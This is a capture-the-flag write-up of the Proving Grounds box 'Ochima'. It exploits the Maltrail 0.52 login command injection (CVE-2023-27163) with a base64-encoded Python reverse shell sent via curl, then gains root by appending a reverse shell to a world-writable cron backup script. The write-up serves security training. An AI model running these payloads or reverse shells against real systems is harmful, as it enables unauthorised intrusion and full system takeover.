# Ochima Writeup - Proving Grounds

> Intermediate Linux box exploiting CVE-2023-27163, an unauthenticated command injection in Maltrail's login endpoint, then escalating to root through a world-writable backup script run by cron.

- **URL:** https://hackindex.io/writeups/ochima
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** command-injection, maltrail, privilege-escalation, cron-abuse, cve-2023-27163
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Ochima runs Maltrail 0.52, a malicious-traffic detection tool vulnerable to CVE-2023-27163, an unauthenticated command injection in its login endpoint. The resulting shell escalates to root through a world-writable backup script a root cron job executes.

## Reconnaissance

### Nmap

Full TCP port scan with service detection.

```bash
nmap -sC -sV -p- --open $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
# 80/tcp   open  http    Apache httpd 2.4.52 (Ubuntu)
# 8338/tcp open  http    Maltrail 0.52
```

Port 8338 runs **Maltrail 0.52**. Its `/login` endpoint accepts a POST `username` parameter known to be vulnerable to **CVE-2023-27163**, an unauthenticated OS command injection where the value is passed unsanitized to a subprocess.

## Exploitation

### Maltrail login command injection (CVE-2023-27163)

Base64-encode a Python reverse shell to avoid special-character issues in the injection.

```bash
echo -n "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'" | base64
# <base64 payload>
```

Start a listener, then fire the payload into the `username` parameter.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
curl http://$TARGET_IP:8338/login --data 'username=;`echo+"<BASE64_PAYLOAD>"+|+base64+-d+|+bash`'
```

The injection fires and a reverse shell connects back as `snort`. Stabilize it.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# snort@ochima:~$
```

## Privilege Escalation

### Writable cron backup script

An `etc_backup.tar` artifact in the home directory hints at an automated backup. Search for the script that produces it.

```bash
find / -name "etc_Backup*" 2>/dev/null
# /var/backups/etc_Backup.sh
```

The script is world-writable and runs periodically as root.

```bash
ls -l /var/backups/etc_Backup.sh
# -rwxrwxrwx 1 root root 142 Jan  1  2023 /var/backups/etc_Backup.sh
```

Append a reverse shell and catch it on a second listener.

```bash
echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'" >> /var/backups/etc_Backup.sh
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# # id
# uid=0(root) gid=0(root)
```

Within a minute the cron job fires and a root shell connects back.

Related

## References

- [CVE-2023-27163](https://nvd.nist.gov/vuln/detail/CVE-2023-27163) - Maltrail <=0.53 unauthenticated OS command injection via the login username parameter.